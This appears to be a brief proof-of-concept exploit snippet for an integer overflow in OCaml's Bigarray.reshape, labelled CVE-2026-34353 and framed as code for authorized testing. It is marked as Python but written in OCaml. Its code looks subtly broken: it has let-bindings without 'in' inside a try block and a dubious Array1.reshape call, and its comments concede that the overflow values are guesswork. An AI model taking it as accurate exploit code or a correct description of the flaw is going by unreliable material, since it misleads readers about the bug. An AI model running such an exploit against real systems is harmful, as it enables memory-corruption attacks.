The following code is for security research and authorized testing only.
python
(* PoC for CVE-2026-34353: Integer overflow in Bigarray.reshape *)
(* This demonstrates how crafted dimensions can lead to overflow *)
open Bigarray
(* Create a small 1-dimensional array *)
let arr = Array1.create int32 c_layout 10
let _ = Array1.set arr 0 0x41414141l
(* Attempt to reshape with dimensions that cause integer overflow *)
(* The exact values depend on the calculation logic in OCaml <= 4.14.3 *)
try
let dim1 = 0x100000000
let dim2 = 1
(* This call may trigger the overflow if bounds checks are bypassed *)
let reshaped = Array1.reshape arr [| dim1; dim2 |] in
Printf.printf "Reshape succeeded. Potential memory read occurred.\n"
with
| Invalid_argument "reshape" -> Printf.printf "Invalid argument (Patched or safe input)\n"
| e -> Printf.printf "Exception caught: %s\n" (Printexc.to_string e)